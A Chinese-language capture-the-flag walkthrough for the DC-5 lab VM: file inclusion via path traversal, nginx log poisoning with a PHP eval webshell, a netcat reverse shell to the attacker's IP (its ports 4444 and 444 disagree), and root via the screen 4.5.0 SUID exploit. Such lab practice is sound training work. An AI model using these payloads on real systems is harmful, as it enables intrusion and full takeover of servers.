环境准备
DC-5靶机链接:百度网盘 请输入提取码
提取码:07cm
虚拟机网络链接模式:桥接模式
攻击机系统:kali linux 2021.1
信息收集
1.探测目标靶机 arp-scan -l
2.探测目标靶机开放端口和服务情况
nmap -p- -A -sV 192.168.166.134
探测到nginx服务1.6.2
漏洞利用
1.发现留言页面,可以利用http://192.168.166.134/contact.php
点击Submit提交,发现url处有
filename=abc&lastname=abcd&country=australia&subject=abcd
多次点击提交出现Copyright © 2019,一直在变化,网页还是php?firstname= 类型
应该是文件包含漏洞
2.直接拼接路径探测敏感目录把
http://192.168.166.134/thankyou.php?file=../../../../etc/passwd
3.burp抓包上传木马 send发送执行
<?php @eval($_POST['cmd'])?>
4.发送的内容日志记录
nginx服务器的日志会记录在/var/log/nginx/error.log
查看位置
5.登录蚁剑
6.kali开启监听
nc -nlvp 4444
蚁剑反弹
nc 192.168.166.131 444 -e /bin/bash
权限提升
1.python 反弹交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
2.用find查看suid是否有可执行的文件,发现screen-4.5.0
3.searchsploit查找该命令漏洞:searchsploit screen 4.5.0
也可以用searchsploit -m 41154.sh 来保存到当前目录
4.复制框内代码,写入libhax.c和rootshell.c,执行编译
gcc编译:gcc -fPIC -shared -ldl -o libhax.so libhax.c
5.构造dc5.sh脚本,第一行加入#!/bin/bash,最后一行加上:set ff=unix命令将原本的dos格式换行符变为unix格式。(输入#!/bin/bash 后点回车输入:wq!保存)
6.使用蚁剑将这三个文件传到目标主机当中去 (tmp目录下)
然后给dc-5.sh加上执行的权限并运行,在蚁剑里运行不能提权。
7.在之前反弹成功的界面里运行就行。
切换到/root根目录找到flag,成功拿下!!!
总结
(1)nginx日志文件/var/log/nginx/error.log var/log/nginx/access.log
默认配置文件是/etc/nginx/nginx.conf
(2)查看suid是否有可执行的文件
#查看suid是否有可执行的文件 find / –perm /4000 –print 2>/dev/null #找特殊执行权限的文件,将错误输出到/dev/null下,/dev/null相当于linux中无底的垃圾桶 #查看suid文件夹 find / -perm -u=s -type f 2>/dev/null
(3)searchsploit -m 41154.sh 来保存到当前目录
searchsploit -p 41154.sh 查看文件位置